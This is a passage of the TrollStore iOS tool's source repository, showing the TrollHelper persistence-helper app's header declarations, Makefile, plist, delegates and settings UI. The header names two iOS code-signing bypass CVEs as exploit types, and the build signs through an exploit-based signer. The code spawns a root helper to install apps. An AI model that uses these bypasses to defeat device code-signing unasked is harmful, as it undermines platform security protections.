args, NSString** stdOut, NSString** stdErr); 12 | extern void killall(NSString* processName, BOOL softly); 13 | extern void respring(void); 14 | extern void fetchLatestTrollStoreVersion(void (^completionHandler)(NSString* latestVersion)); 15 | extern void fetchLatestLdidVersion(void (^completionHandler)(NSString* latestVersion)); 16 | 17 | extern NSArray* trollStoreInstalledAppBundlePaths(); 18 | extern NSArray* trollStoreInstalledAppContainerPaths(); 19 | extern NSString* trollStorePath(); 20 | extern NSString* trollStoreAppPath(); 21 | 22 | extern BOOL isRemovableSystemApp(NSString* appId); 23 | 24 | #import 25 | 26 | @interface UIAlertController (Private) 27 | @property (setter=_setAttributedTitle:,getter=_attributedTitle,nonatomic,copy) NSAttributedString* attributedTitle; 28 | @property (setter=_setAttributedMessage:,getter=_attributedMessage,nonatomic,copy) NSAttributedString* attributedMessage; 29 | @property (nonatomic,retain) UIImage* image; 30 | @end 31 | 32 | typedef enum 33 | { 34 | PERSISTENCE_HELPER_TYPE_USER = 1 << 0, 35 | PERSISTENCE_HELPER_TYPE_SYSTEM = 1 << 1, 36 | PERSISTENCE_HELPER_TYPE_ALL = PERSISTENCE_HELPER_TYPE_USER | PERSISTENCE_HELPER_TYPE_SYSTEM 37 | } PERSISTENCE_HELPER_TYPE; 38 | 39 | // EXPLOIT_TYPE is defined as a bitmask as some devices are vulnerable to multiple exploits 40 | // 41 | // An app that has had one of these exploits applied ahead of time can declare which exploit 42 | // was used via the TSPreAppliedExploitType Info.plist key. The corresponding value should be 43 | // (number of bits to left-shift + 1). 44 | typedef enum 45 | { 46 | // CVE-2022-26766 47 | // TSPreAppliedExploitType = 1 48 | EXPLOIT_TYPE_CUSTOM_ROOT_CERTIFICATE_V1 = 1 << 0, 49 | 50 | // CVE-2023-41991 51 | // TSPreAppliedExploitType = 2 52 | EXPLOIT_TYPE_CMS_SIGNERINFO_V1 = 1 << 1 53 | } EXPLOIT_TYPE; 54 | 55 | extern LSApplicationProxy* findPersistenceHelperApp(PERSISTENCE_HELPER_TYPE allowedTypes); 56 | 57 | typedef struct __SecCode const *SecStaticCodeRef; 58 | 59 | typedef CF_OPTIONS(uint32_t, SecCSFlags) { 60 | kSecCSDefaultFlags = 0 61 | }; 62 | #define kSecCSRequirementInformation 1 << 2 63 | #define kSecCSSigningInformation 1 << 1 64 | 65 | OSStatus SecStaticCodeCreateWithPathAndAttributes(CFURLRef path, SecCSFlags flags, CFDictionaryRef attributes, SecStaticCodeRef *staticCode); 66 | OSStatus SecCodeCopySigningInformation(SecStaticCodeRef code, SecCSFlags flags, CFDictionaryRef *information); 67 | CFDataRef SecCertificateCopyExtensionValue(SecCertificateRef certificate, CFTypeRef extensionOID, bool *isCritical); 68 | void SecPolicySetOptionsValue(SecPolicyRef policy, CFStringRef key, CFTypeRef value); 69 | 70 | extern CFStringRef kSecCodeInfoEntitlementsDict; 71 | extern CFStringRef kSecCodeInfoCertificates; 72 | extern CFStringRef kSecPolicyAppleiPhoneApplicationSigning; 73 | extern CFStringRef kSecPolicyAppleiPhoneProfileApplicationSigning; 74 | extern CFStringRef kSecPolicyLeafMarkerOid; 75 | 76 | extern SecStaticCodeRef getStaticCodeRef(NSString *binaryPath); 77 | extern NSDictionary* dumpEntitlements(SecStaticCodeRef codeRef); 78 | extern NSDictionary* dumpEntitlementsFromBinaryAtPath(NSString *binaryPath); 79 | extern NSDictionary* dumpEntitlementsFromBinaryData(NSData* binaryData); 80 | 81 | extern EXPLOIT_TYPE getDeclaredExploitTypeFromInfoDictionary(NSDictionary *infoDict); 82 | extern bool isPlatformVulnerableToExploitType(EXPLOIT_TYPE exploitType); 83 | -------------------------------------------------------------------------------- /TrollHelper/Makefile: -------------------------------------------------------------------------------- 1 | export EMBEDDED_ROOT_HELPER ?= 0 2 | export LEGACY_CT_BUG ?= 0 3 | 4 | TARGET := iphone:clang:16.5:14.0 5 | INSTALL_TARGET_PROCESSES = TrollStorePersistenceHelper 6 | 7 | ifdef CUSTOM_ARCHS 8 | ARCHS = $(CUSTOM_ARCHS) 9 | else 10 | ARCHS = arm64 11 | endif 12 | 13 | ifneq ($(LEGACY_CT_BUG),1) 14 | TARGET_CODESIGN = ../Exploits/fastPathSign/fastPathSign 15 | endif 16 | 17 | include $(THEOS)/makefiles/common.mk 18 | 19 | APPLICATION_NAME = TrollStorePersistenceHelper 20 | 21 | TrollStorePersistenceHelper_FILES = $(wildcard *.m) $(wildcard ../Shared/*.m) 22 | TrollStorePersistenceHelper_FRAMEWORKS = UIKit CoreGraphics CoreServices CoreTelephony 23 | TrollStorePersistenceHelper_PRIVATE_FRAMEWORKS = Preferences MobileContainerManager 24 | TrollStorePersistenceHelper_CFLAGS = -fobjc-arc -I../Shared 25 | 26 | ifeq ($(LEGACY_CT_BUG),1) 27 | TrollStorePersistenceHelper_CODESIGN_FLAGS = -Sentitlements.plist -K../legacy.p12 28 | TrollStorePersistenceHelper_CFLAGS += -DLEGACY_CT_BUG=1 29 | else 30 | TrollStorePersistenceHelper_CODESIGN_FLAGS = --entitlements entitlements.plist 31 | endif 32 | 33 | ifeq ($(EMBEDDED_ROOT_HELPER),1) 34 | TrollStorePersistenceHelper_CFLAGS += -DEMBEDDED_ROOT_HELPER=1 35 | TrollStorePersistenceHelper_FILES += $(wildcard ../RootHelper/*.m) 36 | TrollStorePersistenceHelper_LIBRARIES += archive 37 | TrollStorePersistenceHelper_PRIVATE_FRAMEWORKS += SpringBoardServices BackBoardServices FrontBoardServices 38 | endif 39 | 40 | include $(THEOS_MAKE_PATH)/application.mk -------------------------------------------------------------------------------- /TrollHelper/Resources/AppIcon29x29.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollHelper/Resources/AppIcon29x29.png -------------------------------------------------------------------------------- /TrollHelper/Resources/AppIcon29x29@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollHelper/Resources/AppIcon29x29@2x.png -------------------------------------------------------------------------------- /TrollHelper/Resources/AppIcon29x29@3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollHelper/Resources/AppIcon29x29@3x.png -------------------------------------------------------------------------------- /TrollHelper/Resources/AppIcon40x40.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollHelper/Resources/AppIcon40x40.png -------------------------------------------------------------------------------- /TrollHelper/Resources/AppIcon40x40@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollHelper/Resources/AppIcon40x40@2x.png -------------------------------------------------------------------------------- /TrollHelper/Resources/AppIcon40x40@3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollHelper/Resources/AppIcon40x40@3x.png -------------------------------------------------------------------------------- /TrollHelper/Resources/AppIcon50x50.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollHelper/Resources/AppIcon50x50.png -------------------------------------------------------------------------------- /TrollHelper/Resources/AppIcon50x50@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollHelper/Resources/AppIcon50x50@2x.png -------------------------------------------------------------------------------- /TrollHelper/Resources/AppIcon57x57.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollHelper/Resources/AppIcon57x57.png -------------------------------------------------------------------------------- /TrollHelper/Resources/AppIcon57x57@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollHelper/Resources/AppIcon57x57@2x.png -------------------------------------------------------------------------------- /TrollHelper/Resources/AppIcon57x57@3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollHelper/Resources/AppIcon57x57@3x.png -------------------------------------------------------------------------------- /TrollHelper/Resources/AppIcon60x60.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollHelper/Resources/AppIcon60x60.png -------------------------------------------------------------------------------- /TrollHelper/Resources/AppIcon60x60@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollHelper/Resources/AppIcon60x60@2x.png -------------------------------------------------------------------------------- /TrollHelper/Resources/AppIcon60x60@3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollHelper/Resources/AppIcon60x60@3x.png -------------------------------------------------------------------------------- /TrollHelper/Resources/AppIcon72x72.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollHelper/Resources/AppIcon72x72.png -------------------------------------------------------------------------------- /TrollHelper/Resources/AppIcon72x72@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollHelper/Resources/AppIcon72x72@2x.png -------------------------------------------------------------------------------- /TrollHelper/Resources/AppIcon76x76.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollHelper/Resources/AppIcon76x76.png -------------------------------------------------------------------------------- /TrollHelper/Resources/AppIcon76x76@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollHelper/Resources/AppIcon76x76@2x.png -------------------------------------------------------------------------------- /TrollHelper/Resources/Info.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | CFBundleExecutable 6 | TrollStorePersistenceHelper 7 | CFBundleDisplayName 8 | TrollHelper 9 | CFBundleIcons 10 | 11 | CFBundlePrimaryIcon 12 | 13 | CFBundleIconFiles 14 | 15 | AppIcon29x29 16 | AppIcon40x40 17 | AppIcon57x57 18 | AppIcon60x60 19 | 20 | UIPrerenderedIcon 21 | 22 | 23 | 24 | CFBundleIcons~ipad 25 | 26 | CFBundlePrimaryIcon 27 | 28 | CFBundleIconFiles 29 | 30 | AppIcon29x29 31 | AppIcon40x40 32 | AppIcon57x57 33 | AppIcon60x60 34 | AppIcon50x50 35 | AppIcon72x72 36 | AppIcon76x76 37 | 38 | UIPrerenderedIcon 39 | 40 | 41 | 42 | CFBundleIdentifier 43 | com.opa334.trollstorepersistencehelper 44 | CFBundleInfoDictionaryVersion 45 | 6.0 46 | CFBundlePackageType 47 | APPL 48 | CFBundleSignature 49 | ???? 50 | CFBundleSupportedPlatforms 51 | 52 | iPhoneOS 53 | 54 | CFBundleVersion 55 | 2.0.11 56 | LSRequiresIPhoneOS 57 | 58 | UIDeviceFamily 59 | 60 | 1 61 | 2 62 | 63 | UIRequiredDeviceCapabilities 64 | 65 | armv7 66 | 67 | UILaunchImageFile 68 | LaunchImage 69 | UILaunchImages 70 | 71 | 72 | UILaunchImageMinimumOSVersion 73 | 7.0 74 | UILaunchImageName 75 | LaunchImage 76 | UILaunchImageOrientation 77 | Portrait 78 | UILaunchImageSize 79 | {320, 480} 80 | 81 | 82 | UILaunchImageMinimumOSVersion 83 | 7.0 84 | UILaunchImageName 85 | LaunchImage-700-568h 86 | UILaunchImageOrientation 87 | Portrait 88 | UILaunchImageSize 89 | {320, 568} 90 | 91 | 92 | UILaunchImageMinimumOSVersion 93 | 7.0 94 | UILaunchImageName 95 | LaunchImage-Portrait 96 | UILaunchImageOrientation 97 | Portrait 98 | UILaunchImageSize 99 | {768, 1024} 100 | 101 | 102 | UILaunchImageMinimumOSVersion 103 | 7.0 104 | UILaunchImageName 105 | LaunchImage-Landscape 106 | UILaunchImageOrientation 107 | Landscape 108 | UILaunchImageSize 109 | {768, 1024} 110 | 111 | 112 | UILaunchImageMinimumOSVersion 113 | 8.0 114 | UILaunchImageName 115 | LaunchImage-800-667h 116 | UILaunchImageOrientation 117 | Portrait 118 | UILaunchImageSize 119 | {375, 667} 120 | 121 | 122 | UILaunchImageMinimumOSVersion 123 | 8.0 124 | UILaunchImageName 125 | LaunchImage-800-Portrait-736h 126 | UILaunchImageOrientation 127 | Portrait 128 | UILaunchImageSize 129 | {414, 736} 130 | 131 | 132 | UILaunchImageMinimumOSVersion 133 | 8.0 134 | UILaunchImageName 135 | LaunchImage-800-Landscape-736h 136 | UILaunchImageOrientation 137 | Landscape 138 | UILaunchImageSize 139 | {414, 736} 140 | 141 | 142 | UISupportedInterfaceOrientations 143 | 144 | UIInterfaceOrientationPortrait 145 | UIInterfaceOrientationLandscapeLeft 146 | UIInterfaceOrientationLandscapeRight 147 | 148 | UISupportedInterfaceOrientations~ipad 149 | 150 | UIInterfaceOrientationPortrait 151 | UIInterfaceOrientationPortraitUpsideDown 152 | UIInterfaceOrientationLandscapeLeft 153 | UIInterfaceOrientationLandscapeRight 154 | 155 | 156 | 157 | -------------------------------------------------------------------------------- /TrollHelper/Resources/LaunchImage-700-568h@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollHelper/Resources/LaunchImage-700-568h@2x.png -------------------------------------------------------------------------------- /TrollHelper/Resources/LaunchImage-700-Landscape@2x~ipad.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollHelper/Resources/LaunchImage-700-Landscape@2x~ipad.png -------------------------------------------------------------------------------- /TrollHelper/Resources/LaunchImage-700-Landscape~ipad.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollHelper/Resources/LaunchImage-700-Landscape~ipad.png -------------------------------------------------------------------------------- /TrollHelper/Resources/LaunchImage-700-Portrait@2x~ipad.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollHelper/Resources/LaunchImage-700-Portrait@2x~ipad.png -------------------------------------------------------------------------------- /TrollHelper/Resources/LaunchImage-700-Portrait~ipad.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollHelper/Resources/LaunchImage-700-Portrait~ipad.png -------------------------------------------------------------------------------- /TrollHelper/Resources/LaunchImage-800-667h@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollHelper/Resources/LaunchImage-800-667h@2x.png -------------------------------------------------------------------------------- /TrollHelper/Resources/LaunchImage-800-Landscape-736h@3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollHelper/Resources/LaunchImage-800-Landscape-736h@3x.png -------------------------------------------------------------------------------- /TrollHelper/Resources/LaunchImage-800-Portrait-736h@3x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollHelper/Resources/LaunchImage-800-Portrait-736h@3x.png -------------------------------------------------------------------------------- /TrollHelper/Resources/LaunchImage.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollHelper/Resources/LaunchImage.png -------------------------------------------------------------------------------- /TrollHelper/Resources/LaunchImage@2x.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/khanhduytran0/TrollStore/b83c53cb460bc684482786fe10bd4f0e72642923/TrollHelper/Resources/LaunchImage@2x.png -------------------------------------------------------------------------------- /TrollHelper/TSHAppDelegateNoScene.h: -------------------------------------------------------------------------------- 1 | #import 2 | 3 | @interface TSHAppDelegateNoScene : UIResponder 4 | @property (nonatomic, strong) UIWindow *window; 5 | @property (nonatomic, strong) UINavigationController *rootViewController; 6 | @end -------------------------------------------------------------------------------- /TrollHelper/TSHAppDelegateNoScene.m: -------------------------------------------------------------------------------- 1 | #import "TSHAppDelegateNoScene.h" 2 | #import "TSHRootViewController.h" 3 | 4 | @implementation TSHAppDelegateNoScene 5 | 6 | - (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions { 7 | _window = [[UIWindow alloc] initWithFrame:[UIScreen mainScreen].bounds]; 8 | _rootViewController = [[UINavigationController alloc] initWithRootViewController:[[TSHRootViewController alloc] init]]; 9 | _window.rootViewController = _rootViewController; 10 | [_window makeKeyAndVisible]; 11 | return YES; 12 | } 13 | 14 | @end 15 | -------------------------------------------------------------------------------- /TrollHelper/TSHAppDelegateWithScene.h: -------------------------------------------------------------------------------- 1 | 2 | #import 3 | 4 | @interface TSHAppDelegateWithScene : UIResponder 5 | 6 | @end -------------------------------------------------------------------------------- /TrollHelper/TSHAppDelegateWithScene.m: -------------------------------------------------------------------------------- 1 | #import "TSHAppDelegateWithScene.h" 2 | 3 | @implementation TSHAppDelegateWithScene 4 | 5 | - (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions { 6 | return YES; 7 | } 8 | 9 | - (UISceneConfiguration *)application:(UIApplication *)application configurationForConnectingSceneSession:(UISceneSession *)connectingSceneSession options:(UISceneConnectionOptions *)options { 10 | // Called when a new scene session is being created. 11 | // Use this method to select a configuration to create the new scene with. 12 | return [[UISceneConfiguration alloc] initWithName:@"Default Configuration" sessionRole:connectingSceneSession.role]; 13 | } 14 | 15 | 16 | - (void)application:(UIApplication *)application didDiscardSceneSessions:(NSSet *)sceneSessions { 17 | // Called when the user discards a scene session. 18 | // If any sessions were discarded while the application was not running, this will be called shortly after application:didFinishLaunchingWithOptions. 19 | // Use this method to release any resources that were specific to the discarded scenes, as they will not return. 20 | } 21 | 22 | @end -------------------------------------------------------------------------------- /TrollHelper/TSHRootViewController.h: -------------------------------------------------------------------------------- 1 | #import 2 | 3 | @interface TSHRootViewController : TSListControllerShared 4 | { 5 | NSString* _newerVersion; 6 | } 7 | @end 8 | -------------------------------------------------------------------------------- /TrollHelper/TSHRootViewController.m: -------------------------------------------------------------------------------- 1 | #import "TSHRootViewController.h" 2 | #import 3 | #import 4 | 5 | @implementation TSHRootViewController 6 | 7 | - (BOOL)isTrollStore 8 | { 9 | return NO; 10 | } 11 | 12 | - (void)viewDidLoad 13 | { 14 | [super viewDidLoad]; 15 | TSPresentationDelegate.presentationViewController = self; 16 | 17 | [[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(reloadSpecifiers) name:UIApplicationWillEnterForegroundNotification object:nil]; 18 | 19 | fetchLatestTrollStoreVersion(^(NSString* latestVersion) 20 | { 21 | NSString* currentVersion = [self getTrollStoreVersion]; 22 | NSComparisonResult result = [currentVersion compare:latestVersion options:NSNumericSearch]; 23 | if(result == NSOrderedAscending) 24 | { 25 | _newerVersion = latestVersion; 26 | dispatch_async(dispatch_get_main_queue(), ^ 27 | { 28 | [self reloadSpecifiers]; 29 | }); 30 | } 31 | }); 32 | } 33 | 34 | - (NSMutableArray*)specifiers 35 | { 36 | if(!_specifiers) 37 | { 38 | _specifiers = [NSMutableArray new]; 39 | 40 | #ifdef LEGACY_CT_BUG 41 | NSString* credits = @"Powered by Fugu15 CoreTrust & installd bugs, thanks to @LinusHenze\n\n© 2022-2024 Lars Fröder (opa334)"; 42 | #else 43 | NSString* credits = @"Powered by CVE-2023-41991, originally discovered by Google TAG, rediscovered via patchdiffing by @alfiecg_dev\n\n© 2022-2024 Lars Fröder (opa334)"; 44 | #endif 45 | 46 | PSSpecifier* infoGroupSpecifier = [PSSpecifier emptyGroupSpecifier]; 47 | infoGroupSpecifier.name = @"Info"; 48 | [_specifiers addObject:infoGroupSpecifier]; 49 | 50 | PSSpecifier* infoSpecifier = [PSSpecifier preferenceSpecifierNamed:@"TrollStore" 51 | target:self 52 | set:nil 53 | get:@selector(getTrollStoreInfoString) 54 | detail:nil 55 | cell:PSTitleValueCell 56 | edit:nil]; 57 | infoSpecifier.identifier = @"info"; 58 | [infoSpecifier setProperty:@YES forKey:@"enabled"]; 59 | 60 | [_specifiers addObject:infoSpecifier]; 61 | 62 | BOOL isInstalled = trollStoreAppPath(); 63 | 64 | if(_newerVersion && isInstalled) 65 | { 66 | // Update TrollStore 67 | PSSpecifier* updateTrollStoreSpecifier = [PSSpecifier preferenceSpecifierNamed:[NSString stringWithFormat:@"Update TrollStore to %@", _newerVersion] 68 | target:self 69 | set:nil 70 | get:nil 71 | detail:nil 72 | cell:PSButtonCell 73 | edit:nil]; 74 | updateTrollStoreSpecifier.identifier = @"updateTrollStore"; 75 | [updateTrollStoreSpecifier setProperty:@YES forKey:@"enabled"]; 76 | updateTrollStoreSpecifier.buttonAction = @selector(updateTrollStorePressed); 77 | [_specifiers addObject:updateTrollStoreSpecifier]; 78 | } 79 | 80 | PSSpecifier* lastGroupSpecifier; 81 | 82 | PSSpecifier* utilitiesGroupSpecifier = [PSSpecifier emptyGroupSpecifier]; 83 | [_specifiers addObject:utilitiesGroupSpecifier]; 84 | 85 | lastGroupSpecifier = utilitiesGroupSpecifier; 86 | 87 | if(isInstalled || trollStoreInstalledAppContainerPaths().count) 88 | { 89 | PSSpecifier* refreshAppRegistrationsSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Refresh App Registrations" 90 | target:self 91 | set:nil 92 | get:nil 93 | detail:nil 94 | cell:PSButtonCell 95 | edit:nil]; 96 | refreshAppRegistrationsSpecifier.identifier = @"refreshAppRegistrations"; 97 | [refreshAppRegistrationsSpecifier setProperty:@YES forKey:@"enabled"]; 98 | refreshAppRegistrationsSpecifier.buttonAction = @selector(refreshAppRegistrationsPressed); 99 | [_specifiers addObject:refreshAppRegistrationsSpecifier]; 100 | } 101 | if(isInstalled) 102 | { 103 | PSSpecifier* uninstallTrollStoreSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Uninstall TrollStore" 104 | target:self 105 | set:nil 106 | get:nil 107 | detail:nil 108 | cell:PSButtonCell 109 | edit:nil]; 110 | uninstallTrollStoreSpecifier.identifier = @"uninstallTrollStore"; 111 | [uninstallTrollStoreSpecifier setProperty:@YES forKey:@"enabled"]; 112 | [uninstallTrollStoreSpecifier setProperty:NSClassFromString(@"PSDeleteButtonCell") forKey:@"cellClass"]; 113 | uninstallTrollStoreSpecifier.buttonAction = @selector(uninstallTrollStorePressed); 114 | [_specifiers addObject:uninstallTrollStoreSpecifier]; 115 | } 116 | else 117 | { 118 | PSSpecifier* installTrollStoreSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Install TrollStore" 119 | target:self 120 | set:nil 121 | get:nil 122 | detail:nil 123 | cell:PSButtonCell 124 | edit:nil]; 125 | installTrollStoreSpecifier.identifier = @"installTrollStore"; 126 | [installTrollStoreSpecifier setProperty:@YES forKey:@"enabled"]; 127 | installTrollStoreSpecifier.buttonAction = @selector(installTrollStorePressed); 128 | [_specifiers addObject:installTrollStoreSpecifier]; 129 | } 130 | 131 | NSString* backupPath = [getExecutablePath() stringByAppendingString:@"_TROLLSTORE_BACKUP"]; 132 | if([[NSFileManager defaultManager] fileExistsAtPath:backupPath]) 133 | { 134 | PSSpecifier* uninstallHelperGroupSpecifier = [PSSpecifier emptyGroupSpecifier]; 135 | [_specifiers addObject:uninstallHelperGroupSpecifier]; 136 | lastGroupSpecifier = uninstallHelperGroupSpecifier; 137 | 138 | PSSpecifier* uninstallPersistenceHelperSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Uninstall Persistence Helper" 139 | target:self 140 | set:nil 141 | get:nil 142 | detail:nil 143 | cell:PSButtonCell 144 | edit:nil]; 145 | uninstallPersistenceHelperSpecifier.identifier = @"uninstallPersistenceHelper"; 146 | [uninstallPersistenceHelperSpecifier setProperty:@YES forKey:@"enabled"]; 147 | [uninstallPersistenceHelperSpecifier setProperty:NSClassFromString(@"PSDeleteButtonCell") forKey:@"cellClass"]; 148 | uninstallPersistenceHelperSpecifier.buttonAction = @selector(uninstallPersistenceHelperPressed); 149 | [_specifiers addObject:uninstallPersistenceHelperSpecifier]; 150 | } 151 | 152 | #ifdef EMBEDDED_ROOT_HELPER 153 | LSApplicationProxy* persistenceHelperProxy = findPersistenceHelperApp(PERSISTENCE_HELPER_TYPE_ALL); 154 | BOOL isRegistered = [persistenceHelperProxy.bundleIdentifier isEqualToString:NSBundle.mainBundle.bundleIdentifier]; 155 | 156 | if((isRegistered || !persistenceHelperProxy) && ![[NSFileManager defaultManager] fileExistsAtPath:@"/Applications/TrollStorePersistenceHelper.app"]) 157 | { 158 | PSSpecifier* registerUnregisterGroupSpecifier = [PSSpecifier emptyGroupSpecifier]; 159 | lastGroupSpecifier = nil; 160 | 161 | NSString* bottomText; 162 | PSSpecifier* registerUnregisterSpecifier; 163 | 164 | if(isRegistered) 165 | { 166 | bottomText = @"This app is registered as the TrollStore persistence helper and can be used to fix TrollStore app registrations in case they revert back to \"User\" state and the apps say they're unavailable."; 167 | registerUnregisterSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Unregister Persistence Helper" 168 | target:self 169 | set:nil 170 | get:nil 171 | detail:nil 172 | cell:PSButtonCell 173 | edit:nil]; 174 | registerUnregisterSpecifier.identifier = @"registerUnregisterSpecifier"; 175 | [registerUnregisterSpecifier setProperty:@YES forKey:@"enabled"]; 176 | [registerUnregisterSpecifier setProperty:NSClassFromString(@"PSDeleteButtonCell") forKey:@"cellClass"]; 177 | registerUnregisterSpecifier.buttonAction = @selector(unregisterPersistenceHelperPressed); 178 | } 179 | else if(!persistenceHelperProxy) 180 | { 181 | bottomText = @"If you want to use this app as the TrollStore persistence helper, you can register it here."; 182 | registerUnregisterSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Register Persistence Helper" 183 | target:self 184 | set:nil 185 | get:nil 186 | detail:nil 187 | cell:PSButtonCell 188 | edit:nil]; 189 | registerUnregisterSpecifier.identifier = @"registerUnregisterSpecifier"; 190 | [registerUnregisterSpecifier setProperty:@YES forKey:@"enabled"]; 191 | registerUnregisterSpecifier.buttonAction = @selector(registerPersistenceHelperPressed); 192 | } 193 | 194 | [registerUnregisterGroupSpecifier setProperty:[NSString stringWithFormat:@"%@\n\n%@", bottomText, credits] forKey:@"footerText"]; 195 | lastGroupSpecifier = nil; 196 | 197 | [_specifiers addObject:registerUnregisterGroupSpecifier]; 198 | [_specifiers addObject:registerUnregisterSpecifier]; 199 | } 200 | #endif 201 | 202 | if(lastGroupSpecifier) 203 | { 204 | [lastGroupSpecifier setProperty:credits forKey:@"footerText"]; 205 | } 206 | } 207 | 208 | [(UINavigationItem *)self.navigationItem setTitle:@"TrollStore Helper"]; 209 | return _specifiers; 210 | } 211 | 212 | - (NSString*)getTrollStoreInfoString 213 | { 214 | NSString* version = [self getTrollStoreVersion]; 215 | if(!version) 216 | { 217 | return @"Not Installed"; 218 | } 219 | else 220 | { 221 | return [NSString stringWithFormat:@"Installed, %@", version]; 222 | } 223 | } 224 | 225 | - (void)handleUninstallation 226 | { 227 | _newerVersion = nil; 228 | [super handleUninstallation]; 229 | } 230 | 231 | - (void)registerPersistenceHelperPressed 232 | { 233 | int ret = spawnRoot(rootHelperPath(), @[@"register-user-persistence-helper", NSBundle.mainBundle.bundleIdentifier], nil, nil); 234 | NSLog(@"registerPersistenceHelperPressed -> %d", ret); 235 | if(ret == 0) 236 | { 237 | [self reloadSpecifiers]; 238 | } 239 | } 240 | 241 | - (void)unregisterPersistenceHelperPressed 242 | { 243 | int ret = spawnRoot(rootHelperPath(), @[@"uninstall-persistence-helper"], nil, nil); 244 | if(ret == 0) 245 | { 246 | [self reloadSpecifiers]; 247 | } 248 | } 249 | 250 | @end 251 | -------------------------------------------------------------------------------- /TrollHelper/TSHSceneDelegate.h: -------------------------------------------------------------------------------- 1 | #import 2 | 3 | @interface TSHSceneDelegate : UIResponder 4 | @property (strong, nonatomic) UIWindow * window; 5 | @property (nonatomic, strong) UINavigationController *rootViewController; 6 | @end -------------------------------------------------------------------------------- /TrollHelper/TSHSceneDelegate.m: -------------------------------------------------------------------------------- 1 | #import "TSHSceneDelegate.h" 2 | #import "TSHRootViewController.h" 3 | 4 | @implementation TSHSceneDelegate 5 | 6 | - (void)scene:(UIScene *)scene willConnectToSession:(UISceneSession *)session options:(UISceneConnectionOptions *)connectionOptions { 7 | // Use this method to optionally configure and attach the UIWindow `window` to the provided UIWindowScene `scene`. 8 | // If using a storyboard, the `window` property will automatically be initialized and attached to the scene. 9 | // This delegate does not imply the connecting scene or session are new (see `application:configurationForConnectingSceneSession` instead). 10 | 11 | UIWindowScene* windowScene = (UIWindowScene*)scene; 12 | _window = [[UIWindow alloc] initWithWindowScene:windowScene]; 13 | _rootViewController = [[UINavigationController alloc] initWithRootViewController:[[TSHRootViewController alloc] init]]; 14 | _window.rootViewController = _rootViewController; 15 | [_window makeKeyAndVisible]; 16 | } 17 | 18 | - (void)sceneDidDisconnect:(UIScene *)scene { 19 | // Called as 